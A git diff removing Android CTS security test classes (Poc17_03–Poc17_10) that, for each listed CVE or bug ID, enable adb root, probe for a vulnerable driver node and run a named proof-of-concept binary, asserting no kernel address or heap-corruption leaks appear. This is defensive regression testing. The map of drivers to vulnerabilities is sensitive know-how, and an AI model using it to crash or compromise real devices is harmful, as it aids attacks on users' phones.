-    /**
-     *  b/31906415
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8481() throws Exception {
-        if(containsDriver(getDevice(), "/dev/usf1")) {
-            enableAdbRoot(getDevice());
-            AdbUtils.runPoc("CVE-2016-8481", getDevice(), 60);
-          // CTS begins the next test before device finishes rebooting,
-          // sleep to allow time for device to reboot
-            TimeUnit.SECONDS.sleep(40);
-        }
-    }
-    /**
-     *  b/32624661
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0436() throws Exception {
-        if(containsDriver(getDevice(), "/dev/usf1")) {
-            enableAdbRoot(getDevice());
-            AdbUtils.runPoc("CVE-2017-0436", getDevice(), 60);
-        }
-    }
-    /**
-     *  b/32769717
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0445() throws Exception {
-        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
-            enableAdbRoot(getDevice());
-            AdbUtils.runPoc("CVE-2017-0445", getDevice(), 60);
-        }
-    }
-    /**
-     *  b/32402310
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0437() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2017-0437", getDevice(), 60);
-    }
-   /**
-     *  b/32402604
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0438() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2017-0438", getDevice(), 60);
-    }
-   /**
-     *  b/32872662
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0441() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2017-0441", getDevice(), 60);
-    }
-   /**
-     *  b/32879283
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8476() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8476", getDevice(), 60);
-    }
-   /**
-     *  b/32451171
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8420() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8420", getDevice(), 60);
-        //Device restarts up to 50s after POC finishes running
-        TimeUnit.SECONDS.sleep(50);
-    }
- }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_03.java b/hostsidetests/security/src/android/security/cts/Poc17_03.java
deleted file mode 100644
index f07763f..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_03.java
+++ /dev/null
@@ -1,157 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-public class Poc17_03 extends SecurityTestCase {
-
-    /**
-     *  b/31824853
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8479() throws Exception {
-        if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
-            // CTS begins the next test before device finishes rebooting,
-            // sleep to allow time for device to reboot.
-            Thread.sleep(30000);
-        }
-    }
-
-    /**
-     *  b/33940449
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0508() throws Exception {
-        if (containsDriver(getDevice(), "/dev/ion") &&
-            containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0508", getDevice(), 30);
-            // CTS begins the next test before device finishes rebooting,
-            // sleep to allow time for device to reboot.
-            Thread.sleep(60000);
-        }
-    }
-
-    /**
-     *  b/33899363
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0333() throws Exception {
-        if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
-            // Device takes up to 30 seconds to crash after ioctl call
-            Thread.sleep(30000);
-        }
-    }
-
-    /**
-     *  b/33277611
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0463() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0463", getDevice(), 30);
-        // CTS begins the next test before device finishes rebooting,
-        // sleep to allow time for device to reboot.
-        Thread.sleep(30000);
-    }
-
-    /**
-     *  b/32372915
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0519() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/qbt1000")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0519", getDevice(), 30);
-        }
-    }
-
-    /**
-     *  b/31750232
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0520() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/qce")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0520", getDevice(), 30);
-            // CTS begins the next test before device finishes rebooting,
-            // sleep to allow time for device to reboot.
-            Thread.sleep(60000);
-        }
-    }
-
-    /**
-     *  b/31695439
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0457() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/adsprpc-smd")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0457", getDevice(), 30);
-            // CTS begins the next test before device finishes rebooting,
-            // sleep to allow time for device to reboot.
-            Thread.sleep(60000);
-        }
-    }
-
-    /**
-     *  b/31252965
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0460() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0460", getDevice(), 60);
-    }
-
-    /**
-     *  b/33106520
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0456() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/ipa")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0456", getDevice(), 30);
-            // CTS begins the next test before device finishes rebooting,
-            // sleep to allow time for device to reboot.
-            Thread.sleep(60000);
-        }
-    }
-
-    /**
-     *  b/32919951
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0521() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/ion")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0521", getDevice(), 30);
-        }
-    }
-
-    /**
-     *  b/33979145
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0453() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0453", getDevice(), 30);
-        // Device takes up to 90 seconds to crash after PoC run.
-        Thread.sleep(90000);
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
deleted file mode 100644
index 5090c0b..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-public class Poc17_04 extends SecurityTestCase {
-
-    /**
-     *  b/33544431
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0576() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/qce")) {
-            AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/34325986
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0580() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
-            AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/33353601
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0462() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/seemplog")) {
-            AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
-       }
-    }
-
-    /**
-     *  b/33842951
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0577() throws Exception {
-      enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
-            AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/33966912
-     */
-    @SecurityTest
-    public void testPocCVE_2016_10231() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
-            AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/34276203
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0564() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ion")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0564", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/33649808
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0586() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
-            AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32551280
-     */
-    @SecurityTest
-    public void testPocBug_32551280() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/sys/kernel/debug/msm_subsys/adsp")) {
-            String pocOut = AdbUtils.runPoc("Bug-32551280", getDevice(), 60);
-            //Regex to match: 64 bit memory address with leading 1's
-            //                64 bit memory address with leading 0's
-            //                32 bit memory addresses
-            assertNotMatches("[\\s\\n\\S]*get 64 bits kernel stack information: " +
-                             "(0xffff[a-fA-F8-9]|0x0000[0-7]|0x)[a-fA-F0-9]{8,11}" +
-                             "[\\s\\n\\S]*", pocOut);
-        }
-    }
-
-    /**
-     * b/32591350
-     */
-    @SecurityTest
-    public void testPocCve_2017_0545() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.enableLibcMallocDebug("audioserver", getDevice());
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0545", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*HAS A CORRUPTED REAR GUARD" +
-                         "[\\s\\n\\S]*", logcatOut);
-     }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_05.java b/hostsidetests/security/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 6788158..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-    /**
-     * b/33863909
-     */
-    @SecurityTest
-    public void testPocCve_2016_10288() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/sys/kernel/debug/flashLED/strobe")) {
-            AdbUtils.runPocNoOutput("CVE-2016-10288", getDevice(), 60);
-        }
-     }
-
-    /**
-     * b/34112914
-     */
-    @SecurityTest
-    public void testPocCve_2017_0465() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/adsprpc-smd")) {
-            AdbUtils.runPocNoOutput("CVE-2017-0465", getDevice(), 60);
-        }
-    }
-
-    /**
-     * b/33899710
-     */
-    @SecurityTest
-    public void testPocCve_2016_10289() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/sys/kernel/debug/qcrypto/stats-1")) {
-            AdbUtils.runPocNoOutput("CVE-2016-10289", getDevice(), 60);
-        }
-     }
-
-    /**
-     *  b/33898330
-     */
-    @SecurityTest
-    public void testPocCve_2016_10290() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/sys/kernel/debug/rmt_storage/info")) {
-          AdbUtils.runPocNoOutput("CVE-2016-10290", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/34327795
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0624() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/proc/debugdriver/driverdump")) {
-            AdbUtils.runPoc("CVE-2017-0624", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32094986
-     */
-    @SecurityTest
-    public void testPocCVE_2016_10283() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-10283", getDevice(), 60);
-        // CTS begins the next test before device finishes rebooting,
-        // sleep to allow time for device to reboot.
-        Thread.sleep(60000);
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
deleted file mode 100644
index bc7f6f5..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_06 extends SecurityTestCase {
-
-    /**
-     *  b/34328139
-     */
-    @SecurityTest
-    public void testPocBug_34328139() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/mdss_rotator")) {
-            AdbUtils.runPocNoOutput("Bug-34328139", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/33452365
-     */
-    @SecurityTest
-    public void testPocBug_33452365() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/snd/pcmC0D16c")) {
-            AdbUtils.runPoc("Bug-33452365", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/34125463
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0579() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
-            AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/33751424
-     */
-    @SecurityTest
-    public void testPocCVE_2017_7369() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
-          AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35047780
-     */
-    @SecurityTest
-    public void testPocBug_35047780() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ipa")) {
-          AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35048450
-     */
-    @SecurityTest
-    public void testPocBug_35048450() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ipa")) {
-          AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35047217
-     */
-    @SecurityTest
-    public void testPocBug_35047217() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ipa")) {
-          AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35644815
-     */
-    @SecurityTest
-    public void testPocBug_35644815() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/sys/kernel/debug/ion/clients/pids/")) {
-          String pocOut = AdbUtils.runPoc("Bug-35644815", getDevice(), 60);
-          assertNotMatches("[\\s\\n\\S]*INFO DISC FLAG[\\s\\n\\S]*", pocOut);
-        }
-    }
-
-    /**
-     * b/35216793
-     */
-    @SecurityTest
-    public void testPocBug_35216793() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
-          AdbUtils.runPocNoOutput("Bug-35216793", getDevice(), 60);
-        }
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
deleted file mode 100644
index d29b73f..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_07 extends SecurityTestCase {
-
-    /**
-     *  b/33863407
-     */
-    @SecurityTest
-    public void testPocBug_33863407() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/sys/kernel/debug/mdp/reg")) {
-            AdbUtils.runPoc("Bug-33863407", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/36604779
-     */
-    @SecurityTest
-    public void testPocBug_36604779() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/port")) {
-          AdbUtils.runCommandLine("cat /dev/port", getDevice());
-        }
-    }
-
-    /**
-     *  b/34973477
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0705() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/proc/net/psched")) {
-            AdbUtils.runPoc("CVE-2017-0705", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/34126808
-     */
-    @SecurityTest
-    public void testPocCVE_2017_8263() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ashmem")) {
-            AdbUtils.runPoc("CVE-2017-8263", getDevice(), 60);
-        }
-    }
-
-    /**
-     * b/34173755
-     */
-    @SecurityTest
-    public void testPocBug_34173755() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ashmem")) {
-           AdbUtils.runPoc("Bug-34173755", getDevice(), 60);
-        }
-    }
-
-     /**
-     *  b/35950388
-     */
-    @SecurityTest
-    public void testPocBug_35950388() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPocNoOutput("Bug-35950388", getDevice(), 60);
-    }
-
-    /**
-     *  b/34624155
-     */
-    @SecurityTest
-    public void testPocBug_34624155() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
-           AdbUtils.runPocNoOutput("Bug-34624155", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/33299365
-     */
-    @SecurityTest
-    public void testPocBug_33299365() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
-           AdbUtils.runPocNoOutput("Bug-33299365", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35950805
-     */
-    @SecurityTest
-    public void testPocBug_35950805() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb2")) {
-          AdbUtils.runPocNoOutput("Bug-35950805", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35139833
-     */
-    @SecurityTest
-    public void testPocBug_35139833() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
-          AdbUtils.runPocNoOutput("Bug-35139833", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35468048
-     */
-    @SecurityTest
-    public void testPocBug_35468048() throws Exception {
-        enableAdbRoot(getDevice());
-        String pocOut = AdbUtils.runPoc("Bug-35468048", getDevice(), 60);
-        assertNotMatches("[\\s\\n\\S]*read succeeded: [0-9]+ bytes[\\s][\\S]" +
-                         "{3} content: 0x[0-9]+. 0x[0-9]+[\\s\\n\\S]*", pocOut);
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
deleted file mode 100644
index 81c6bc8..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_08.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_08 extends SecurityTestCase {
-
-    /**
-     *  b/36266767
-     */
-    @SecurityTest
-    public void testPocBug_36266767() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("Bug-36266767", getDevice(), 60);
-    }
-
-    /**
-     *  b/36591162
-     */
-    @SecurityTest
-    public void testPocBug_36591162() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/qce")) {
-            AdbUtils.runPoc("Bug-36591162", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35258962
-     */
-    @SecurityTest
-    public void testPocCVE_2017_9678() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
-            AdbUtils.runPoc("CVE-2017-9678", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/36731152
-     */
-    @SecurityTest
-    public void testPocCVE_2017_9692() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb2")) {
-            AdbUtils.runPoc("CVE-2017-9692", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35764875
-     */
-    @SecurityTest
-    public void testPocBug_35764875() throws Exception {
-      enableAdbRoot(getDevice());
-      if(containsDriver(getDevice(), "/dev/msm_aac")) {
-            String pocOut = AdbUtils.runPoc("Bug-35764875", getDevice(), 60);
-            assertNotMatches("[\\s\\n\\S]*information leaked, trycount=[0-9]" +
-                             "+, rc=-[0-9]+, event_type=[0-9]+[\\s][0-9]{80}" +
-                             "[\\s\\n\\S]*", pocOut);
-      }
-    }
-
-    /**
-     *  b/35644510
-     */
-    @SecurityTest
-    public void testPocBug_35644510() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/qbt1000")) {
-            String pocOut = AdbUtils.runPoc("Bug-35644510", getDevice(), 60);
-            assertNotMatches("[\\s\\n\\S]*KERNEL ADDRESS LEAKED = 0x[a-f0-9]" +
-                             "{16}[\\s\\n\\S]*", pocOut);
-        }
-    }
-
-    /**
-     *  b/35764241
-     */
-    @SecurityTest
-    public void testPocCVE_2017_9680() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/qbt1000")) {
-            AdbUtils.runPocNoOutput("CVE-2017-9680", getDevice(), 120);
-        }
-    }
-
-    /**
-     *  b/36818198
-     *
-     *  This test relies upon the existence of the following hddLog call in the function
-     *  "__wlan_hdd_cfg80211_extscan_set_bssid_hotlist" in
-     *  drivers/staging/qcacld-2.0/CORE/HDD/src/wlan_hdd_cfg80211.c:
-     *  "hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr mac address failed"));"
-     */
-    @SecurityTest
-    public void testPocBug_36818198() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runCommandLine("dmesg -C", getDevice());
-        AdbUtils.runPoc("Bug-36818198", getDevice(), 60);
-        String pocOut = AdbUtils.runCommandLine("dmesg", getDevice());
-        assertNotMatches("[\\s\\n\\S]*wlan: \\[[0-9]+:E :HDD\\] " +
-                         "__wlan_hdd_cfg80211_extscan_set_bssid_hotlist: " +
-                         "2775: attr mac address failed[\\s\\n\\S]*", pocOut);
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
deleted file mode 100644
index f13ccba..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_09.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_09 extends SecurityTestCase {
-
-    /**
-     *  b/33039685
-     */
-    @SecurityTest
-    public void testPocBug_33039685() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/sys/kernel/debug/pci-msm/")) {
-          AdbUtils.runPocNoOutput("Bug-33039685", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35676417
-     */
-    @SecurityTest
-    public void testPocBug_35676417() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/sys/devices/soc/7544000.qcom,sps-dma/driver_override")) {
-          AdbUtils.runPocNoOutput("Bug-35676417", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/35644812
-     */
-    @SecurityTest
-    public void testPocBug_35644812() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/sg0")) {
-          AdbUtils.runPocNoOutput("Bug-35644812", getDevice(), 60);
-        }
-    }
-
-    /*
-     * b/36492827
-     */
-    @SecurityTest
-    public void testPocBug_36492827() throws Exception {
-     enableAdbRoot(getDevice());
-      if (containsDriver(getDevice(), "/dev/v4l-subdev*")) {
-        AdbUtils.runPocNoOutput("Bug-36492827", getDevice(), 60);
-      }
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_10.java b/hostsidetests/security/src/android/security/cts/Poc17_10.java
deleted file mode 100644
index 6b5f4e8..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_10.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_10 extends SecurityTestCase {
-
-    /**
-     * b/62058746
-     */
-    @SecurityTest
-    public void testPocBug_62058746() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/proc/cld/athdiagpfs")) {
-          AdbUtils.runPocNoOutput("Bug-62058746", getDevice(), 60);
-        }
-    }
-
-    /**
-     * b/37093119
-     */
-    @SecurityTest
-    public void testPocBug_37093119() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/dev/graphics/fb*")) {
-          AdbUtils.runPocNoOutput("Bug-37093119", getDevice(), 60);
-        }
-    }
-
-    /**
-     * b/62085265
-     */
-    @SecurityTest
-    public void testPocBug_62085265() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(), "/system/bin/pktlogconf")) {
-            AdbUtils.runCommandLine("pktlogconf -a cld -erx,tx -s 1", getDevice());
-            // Device can take up to 90 seconds before rebooting
-            Thread.sleep(180000);
-        }
-    }
-
-    /**
-     * b/36817053
-     */
-    @SecurityTest
-    public void testPocBug_36817053() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runCommandLine("dmesg -c" , getDevice());
-        AdbUtils.runPocNoOutput("Bug-36817053", getDevice(), 60);
-        String dmesgOut = AdbUtils.runCommandLine("dmesg", getDevice());
-        assertNotMatches("[\\s\\n\\S]*" +
-                         "__wlan_hdd_cfg80211_extscan_get_valid_channels: " +
-                         "[0-9]+: attr request id failed[\\s\\n\\S]*",
-                         dmesgOut);
-    }
-
-    /**
-     * b/36730104
